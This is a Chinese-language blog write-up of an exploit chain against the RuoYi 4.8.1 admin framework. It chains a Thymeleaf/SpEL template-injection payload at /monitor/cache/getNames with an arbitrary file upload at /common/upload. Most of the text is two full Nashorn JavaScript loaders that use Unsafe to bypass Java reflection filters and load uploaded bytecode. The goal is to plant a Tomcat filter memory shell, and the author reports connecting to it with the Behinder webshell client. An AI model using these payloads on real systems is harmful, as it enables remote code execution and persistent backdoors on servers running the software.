ruoyi4.8.1 未授权rce的内存马注入分析
环境搭建:https://github.com/yangzongzhuan/RuoYi/releases/tag/v4.8.1
下载最新版release后,修改application.yml的数据库配置,mysql运行sql/ruoyi_20250416.sql,启动jar包即可
漏洞点在monitor/cache/*

这里很明显存在spEL模板注入
不过cms使用的Thymelea版本为3.0.15,需要进行一些绕过,可以看http://www.bmth666.cn/2025/11/26/%E8%8B%A5%E4%BE%9DRuoYi-4-8-1-%E5%90%8E%E5%8F%B0RCE/
登陆后,路由/monitor/cache/getNames
注入payload为
fragment=__|$${new.javax.script.ScriptEngineManager().getEngineByName("js").eval(new.org.apache.shiro.codec.Base64().decodeToString("a..."))}|__
可以执行任意的js,利用以下payload加载字节码:
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var classBytes = "yv66vgAAA......";
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
try{
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz.newInstance();
}
}
defineClass();
原作者使用的似乎是一次性回显马

这里尝试了直接打tomcat filter内存马,发现报了错

paylaod填了内存马后,后端报错也捕捉不到了:


后来尝试了

这里我在最前面写了一个弹计算器,这一句也没有执行,那么就应该是编译有问题
后来测出来是js字符串的长度太长了,导致的编译失败,整段代码都没执行,具体原因需要debug一下,这里就直接寻找绕过方式了
发现/common/upload存在回显相对路径的任意文件上传

而限制我们打内存马的原因就是内存马的classbytes太大了,我们可以直接利用这个文件上传上传我们的内存马payload,然后spEL处读取它并加载即可
上传一个tomcat filter型内存马

可以在application.yml看到默认上传路径,我这里改了一下

然后再利用ssti去加载我们的bytes就可以:
try {
java.lang.Runtime.getRuntime().exec("calc");
load("nashorn:mozilla_compat.js");
} catch (e) {
e.printStackTrace();
}
function getUnsafe(){
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var Paths = java.nio.file.Paths;
var Files = java.nio.file.Files;
var StandardCharsets = java.nio.charset.StandardCharsets;
var path = Paths.get("D:/poc复现/ruoyi_4.8.1/RuoYi-v4.8.1/RuoYi-v4.8.1/uploads/upload/2025/12/08/memshell_20251208194604A002.txt");
var classBytes = new java.lang.String(Files.readAllBytes(path), StandardCharsets.UTF_8);
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
try{
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz.newInstance();
}
}
try{
defineClass();
}catch(e){
e.printStackTrace();
}

成功了,但是shiro的filter优先级比我们的内存马高,因此未登录状态下需要访问/login这种无鉴权的路由访问

尝试打冰蝎内存马

成功连接

之前引用文章的作者结合了JNI来利用文件上传也是很好的思路,已学习:)









Comments NOTHING